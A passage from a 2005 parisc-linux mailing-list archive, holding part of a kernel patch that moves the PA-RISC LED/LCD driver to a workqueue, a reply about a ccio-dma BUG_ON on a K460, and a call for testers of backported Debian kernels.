+	queue_work(led_wq, &led_task);
+
+	return 0;
+}
+
+device_initcall(start_task);
=20
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
=20
=2D#define LED_HASLCD 1
=2D#define LED_NOLCD  0
 #ifdef CONFIG_PROC_FS
 static int led_proc_read(char *page, char **start, off_t off, int count,=20
 	int *eof, void *data)
@@ -285,52 +306,35 @@ static void led_LASI_driver(unsigned cha
 /*
    **=20
    ** led_LCD_driver()
=2D   **=20
=2D   ** The logic of the LCD driver is, that we write at every scheduled c=
all
=2D   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
=2D   ** That way we don't need to let this tasklet busywait for min_cmd_de=
lay
=2D   ** milliseconds.
=2D   **
=2D   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **  =20
  */
 static void led_LCD_driver(unsigned char leds)
 {
=2D	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
=2D	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
=2D	struct lcd_block *block_ptr;
=2D	int value;
=2D
=2D	switch (last_index) {
=2D	    case 0:	block_ptr =3D &lcd_info.heartbeat;
=2D			value =3D leds & LED_HEARTBEAT;
=2D			break;
=2D	    case 1:	block_ptr =3D &lcd_info.disk_io;
=2D			value =3D leds & LED_DISK_IO;
=2D			break;				=09
=2D	    case 2:	block_ptr =3D &lcd_info.lan_rcv;
=2D			value =3D leds & LED_LAN_RCV;
=2D			break;				=09
=2D	    case 3:	block_ptr =3D &lcd_info.lan_tx;
=2D			value =3D leds & LED_LAN_TX;
=2D			break;
=2D	    default:	/* should never happen: */
=2D			return;
=2D	}
+	static int i;
+	static unsigned char mask[4] =3D { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+=09
+	static struct lcd_block * blockp[4] =3D {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
=20
=2D	if (last_was_cmd) {
=2D	    /* write the value to the LCD data port */
=2D    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_RE=
G );
=2D	} else {
=2D	    /* write the command-byte to the LCD command register */
=2D    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
=2D	}   =20
=2D=09
=2D	/* now update the vars for the next interrupt iteration */=20
=2D	if (++last_was_cmd =3D=3D 2) { /* switch between cmd & data */
=2D	    last_was_cmd =3D 0;
=2D	    if (++last_index =3D=3D 4)=20
=2D		last_index =3D 0;	 /* switch back to heartbeat index */
+	/* Convert min_cmd_delay to milliseconds */
+	unsigned int msec_cmd_delay =3D 1 + (lcd_info.min_cmd_delay / 1000);
+=09
+	for (i=3D0; i<4; ++i)=20
+	{
+		if ((leds & mask[i]) !=3D (lastleds & mask[i]))=20
+		{
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+			msleep(msec_cmd_delay);
+		=09
+			gsc_writeb( leds & mask[i] ? blockp[i]->on :=20
+					blockp[i]->off, LCD_DATA_REG );
+			msleep(msec_cmd_delay);
+		}
 	}
 }
=20
@@ -355,7 +359,7 @@ static __inline__ int led_get_net_activi
=20
 	rx_total =3D tx_total =3D 0;
 =09
=2D	/* we are running as tasklet, so locking dev_base=20
+	/* we are running as a workqueue task, so locking dev_base=20
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev =3D dev_base; dev; dev =3D dev->next) {
@@ -402,7 +406,7 @@ static __inline__ int led_get_diskio_act
 	static unsigned long last_pgpgin, last_pgpgout;
 	struct page_state pgstat;
 	int changed;
=2D=09
+
 	get_full_page_state(&pgstat); /* get no of sectors in & out */
=20
 	/* Just use a very simple calculation here. Do not care about overflow,
@@ -410,86 +414,70 @@ static __inline__ int led_get_diskio_act
 	changed =3D (pgstat.pgpgin !=3D last_pgpgin) || (pgstat.pgpgout !=3D last=
_pgpgout);
 	last_pgpgin  =3D pgstat.pgpgin;
 	last_pgpgout =3D pgstat.pgpgout;
=2D=09
+
 	return (changed ? LED_DISK_IO : 0);
 }
=20
=20
=20
 /*
=2D   ** led_tasklet_func()
+   ** led_work_func()
    **=20
=2D   ** is scheduled at every timer interrupt from time.c and
=2D   ** updates the chassis LCD/LED=20
+   ** manages when and which chassis LCD/LED gets updated
=20
     TODO:
     - display load average (older machines like 715/64 have 4 "free" LED's=
 for that)
     - optimizations
  */
=20
=2D#define HEARTBEAT_LEN (HZ*6/100)
=2D#define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
+#define HEARTBEAT_LEN (HZ*10/100)
+#define HEARTBEAT_2ND_RANGE_START (HZ*28/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_L=
EN)
=20
=2D#define NORMALIZED_COUNT(count) (count/(HZ/100))
+#define LED_UPDATE_INTERVAL (1 + (HZ*19/1000))
=20
=2Dstatic void led_tasklet_func(unsigned long unused)
+static void led_work_func (void *unused)
 {
=2D	static unsigned char lastleds;
=2D	unsigned char currentleds; /* stores current value of the LEDs */
=2D	static unsigned long count; /* static incremented value, not wrapped */
+	static unsigned long last_jiffies =3D 0;
 	static unsigned long count_HZ; /* counter in range 0..HZ */
+	unsigned char currentleds =3D 0; /* stores current value of the LEDs */
=20
 	/* exit if not initialized */
 	if (!led_func_ptr)
 	    return;
=20
=2D	/* increment the local counters */
=2D	++count;
=2D	if (++count_HZ =3D=3D HZ)
+	/* increment the local counter */
+	count_HZ +=3D jiffies - last_jiffies;
+	if (count_HZ >=3D HZ)
 	    count_HZ =3D 0;
=2D
=2D	currentleds =3D lastleds;
+	last_jiffies =3D jiffies;
=20
 	if (led_heartbeat)
 	{
=2D		/* flash heartbeat-LED like a real heart (2 x short then a long delay)=
 */
=2D		if (count_HZ<HEARTBEAT_LEN ||=20
=2D		    (count_HZ>=3DHEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_R=
ANGE_END))=20
=2D		    currentleds |=3D LED_HEARTBEAT;
=2D		else
=2D		    currentleds &=3D ~LED_HEARTBEAT;
=2D	}
=2D
=2D	/* look for network activity and flash LEDs respectively */
=2D	if (led_lanrxtx && ((NORMALIZED_COUNT(count)+(8/2)) & 7) =3D=3D 0)
=2D	{
=2D		currentleds &=3D ~(LED_LAN_RCV | LED_LAN_TX);
=2D		currentleds |=3D led_get_net_activity();
+		/* flash heartbeat-LED like a real heart
+		 * (2 x short then a long delay)
+		 */
+		if (count_HZ < HEARTBEAT_LEN ||=20
+				(count_HZ >=3D HEARTBEAT_2ND_RANGE_START &&
+				count_HZ < HEARTBEAT_2ND_RANGE_END))=20
+			currentleds |=3D LED_HEARTBEAT;
 	}
=20
=2D	/* avoid to calculate diskio-stats at same irq  as netio-stats */
=2D	if (led_diskio && (NORMALIZED_COUNT(count) & 7) =3D=3D 0)
=2D	{
=2D		currentleds &=3D ~LED_DISK_IO;
=2D		currentleds |=3D led_get_diskio_activity();
=2D	}
+	if (led_lanrxtx)  currentleds |=3D led_get_net_activity();
+	if (led_diskio)   currentleds |=3D led_get_diskio_activity();
=20
 	/* blink all LEDs twice a second if we got an Oops (HPMC) */
=2D	if (oops_in_progress) {
+	if (oops_in_progress)=20
 		currentleds =3D (count_HZ<=3D(HZ/2)) ? 0 : 0xff;
=2D	}
=2D=09
=2D	/* update the LCD/LEDs */
=2D	if (currentleds !=3D lastleds) {
=2D	    led_func_ptr(currentleds);
=2D	    lastleds =3D currentleds;
=2D	}
=2D}
=20
=2D/* main led tasklet struct (scheduled from time.c) */
=2DDECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
+	if (currentleds !=3D lastleds)
+	{
+		led_func_ptr(currentleds);	/* Update the LCD/LEDs */
+		lastleds =3D currentleds;
+	}
=20
+	queue_delayed_work(led_wq, &led_task, LED_UPDATE_INTERVAL);
+}
=20
 /*
    ** led_halt()
@@ -519,9 +507,13 @@ static int led_halt(struct notifier_bloc
 	default:		return NOTIFY_DONE;
 	}
 =09
=2D	/* completely stop the LED/LCD tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* Cancel the work item and delete the queue */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+		destroy_workqueue(led_wq);
+	}
+=20
 	if (lcd_info.model =3D=3D DISPLAY_MODEL_LCD)
 		lcd_print(txt);
 	else
@@ -586,9 +578,6 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
=2D	/* start the led tasklet for the first time */
=2D	tasklet_enable(&led_tasklet);
=2D=09
 	return 0;
 }
=20
@@ -623,7 +612,7 @@ void __init register_led_regions(void)
    ** lcd_print()
    **=20
    ** Displays the given string on the LCD-Display of newer machines.
=2D   ** lcd_print() disables the timer-based led tasklet during its=20
+   ** lcd_print() disables the timer-based led work task during its=20
    ** execution and enables it afterwards again.
    **
  */
@@ -634,12 +623,14 @@ int lcd_print( char *str )
 	if (!led_func_ptr || lcd_info.model !=3D DISPLAY_MODEL_LCD)
 	    return 0;
 =09
=2D	/* temporarily disable the led tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* temporarily disable the led work task */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+	}
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
=2D=09
+
 	/* Set LCD Cursor to 1st character */
 	gsc_writeb(lcd_info.reset_cmd1, LCD_CMD_REG);
 	udelay(lcd_info.min_cmd_delay);
@@ -653,8 +644,10 @@ int lcd_print( char *str )
 	    udelay(lcd_info.min_cmd_delay);
 	}
 =09
=2D	/* re-enable the led tasklet */
=2D	tasklet_enable(&led_tasklet);
+	/* re-queue the work */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
=20
 	return lcd_info.lcd_width;
 }
diff -urpN oldtree/include/asm-parisc/led.h newtree/include/asm-parisc/led.h
=2D-- oldtree/include/asm-parisc/led.h	2004-12-30 08:07:48.000000000 +0000
+++ newtree/include/asm-parisc/led.h	2005-03-27 18:30:29.000000000 +0100
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20

--Boundary-01=_qOvRCVfijlnTHcA--

--nextPart6546651.uK6JBH8hjW
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRvOsOIrGtzS07WgRAsRJAJ9f6B7UTuXp6fAQP5T1vD01bW6+0gCgqIoB
pcU+rWR32UFjVOWAlczsEYk=
=6TDn
-----END PGP SIGNATURE-----

--nextPart6546651.uK6JBH8hjW--

--===============0277697241==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0277697241==--



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class drivers/parisc/ccio-dma.c
Date: Sun, 27 Mar 2005 20:24:10 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20050327192410.GT21986@parcelfarce.linux.theplanet.co.uk>
References: <20050327161520.GA15500@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623722 13532 80.91.229.3 (22 Nov 2014 02:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Anders <dizzey@ing.umu.se>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 19:24:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 27 Mar 2005 21:24:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE9667D6A3;
	Sun, 27 Mar 2005 12:25:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19411-09; Sun, 27 Mar 2005 12:25:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 262457D6A4;
	Sun, 27 Mar 2005 12:25:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E49157D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 12:25:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19421-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 12:25:46 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 6657D7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 12:25:46 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DFdMo-0006zc-5j; Sun, 27 Mar 2005 20:24:10 +0100
Content-Disposition: inline
In-Reply-To: <20050327161520.GA15500@ing.umu.se>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Om01YtpUeSE5+76WZHQhaXN2IGRvb4DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22515

On Sun, Mar 27, 2005 at 06:15:20PM +0200, Anders wrote:
> im having trouble with booting the 2.6 kernels on a k460.
> 
> --------------------------------------------------------
> CPU(s): 4 x PA8000 (PCX-U) at 180.000000 MHz
> Setting cache flush threshold to 40 (4 CPUs online)
> Found U2 at 0xfff8a000
> kernel BUG at drivers/parisc/ccio-dma.c:1317!

Grant, Joel, this is your faults:

        ioc->pdir_size = (iova_space_size / IOVP_SIZE) * sizeof(u64);

        BUG_ON(ioc->pdir_size >= 4 * 1024 * 1024);   /* max pdir size < 4MB */

I don't really want to dig into this right now, could one of you
investigate?

Anders, how much memory do you have?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Call for Testing
Date: Sun, 27 Mar 2005 15:45:50 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20050327204550.GC7728__38925.8823510774$1416623722$gmane$org@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623722 13535 80.91.229.3 (22 Nov 2014 02:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 20:46:39 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx011) with SMTP; 27 Mar 2005 22:46:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id DF3782EA35; Sun, 27 Mar 2005 14:46:37 -0600 (CST)
Old-Return-Path: <kyle@fattire.cabal.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id 1DEDF2E504
	for <debian-hppa@lists.debian.org>; Sun, 27 Mar 2005 14:46:32 -0600 (CST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 59ACD17050;
	Sun, 27 Mar 2005 15:46:31 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25950-05; Sun, 27 Mar 2005 15:46:20 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D96CD17081; Sun, 27 Mar 2005 15:46:20 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-961207842-52656d6f746546617454697265-494e424f582e4f7574626f78: 1111956379-0800485043245-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.1 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <kgU54D.A.NCB.tuxRCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4350
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 27 Mar 2005 14:46:37 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 5341Yn41eSE5+76WZHQhaXN2IGRvb4CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22516

Hi,

I've backported some more patches to 2.6.8 for possible[1] inclusion in
sarge (they fix some possibly important bits).

You can find kernels here:
	http://www.parisc-linux.org/~kyle/debian-kernel/2005-03-27/

I'd appreciate it if everyone could take 10 minutes so we can get good
coverage testing these fixes, to make sure there are no regressions
from the kernels already in sarge. If you could test the sarge kernels
too, that would be fantastic.

Please reply either to the list, or to me personally with the dmesg
output from a boot, and what machine(s) you were able to test on.

Thanks,
	Kyle

[1]: The release team has "effectively" frozen all kernels from propogating
     to sarge. But I think it's worth keeping fixes around, even if they
     don't get included immediately.
-- 
Kyle McMartin


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Call for Testing
Date: Sun, 27 Mar 2005 15:45:50 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20050327204550.GC7728__14247.1447041773$1416623722$gmane$org@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623722 13536 80.91.229.3 (22 Nov 2014 02:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 20:46:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 27 Mar 2005 22:46:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA7677D6AD;
	Sun, 27 Mar 2005 13:48:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20233-01; Sun, 27 Mar 2005 13:48:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69CEA7D6A9;
	Sun, 27 Mar 2005 13:48:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E615F7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 13:48:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19830-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 13:48:07 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 7562B7D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 13:48:07 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 59ACD17050;
	Sun, 27 Mar 2005 15:46:31 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25950-05; Sun, 27 Mar 2005 15:46:20 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D96CD17081; Sun, 27 Mar 2005 15:46:20 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-961207842-52656d6f746546617454697265-494e424f582e4f7574626f78: 1111956379-0800485043245-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5X41Ys41eSE5+76WZHQhaXN2IGRvb0Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22517

Hi,

I've backported some more patches to 2.6.8 for possible[1] inclusion in
sarge (they fix some possibly important bits).

You can find kernels here:
	http://www.parisc-linux.org/~kyle/debian-kernel/2005-03-27/

I'd appreciate it if everyone could take 10 minutes so we can get good
coverage testing these fixes, to make sure there are no regressions
from the kernels already in sarge. If you could test the sarge kernels
too, that would be fantastic.

Please reply either to the list, or to me personally with the dmesg
output from a boot, and what machine(s) you were able to test on.

Thanks,
	Kyle

[1]: The release team has "effectively" frozen all kernels from propogating
     to sarge. But I think it's worth keeping fixes around, even if they
     don't get included immediately.
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Sun, 27 Mar 2005 22:08:31 +0000
Lines: 398
Approved: news@gmane.org
Message-ID: <200503272308.32745.dmp@davidmpye.dyndns.org>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0650743443=="
X-Trace: ger.gmane.org 1416623722 13538 80.91.229.3 (22 Nov 2014 02:35:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 22:09:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 28 Mar 2005 00:09:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E4DE7D69F;
	Sun, 27 Mar 2005 15:10:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20233-08; Sun, 27 Mar 2005 15:10:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 526277D6A2;
	Sun, 27 Mar 2005 15:10:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
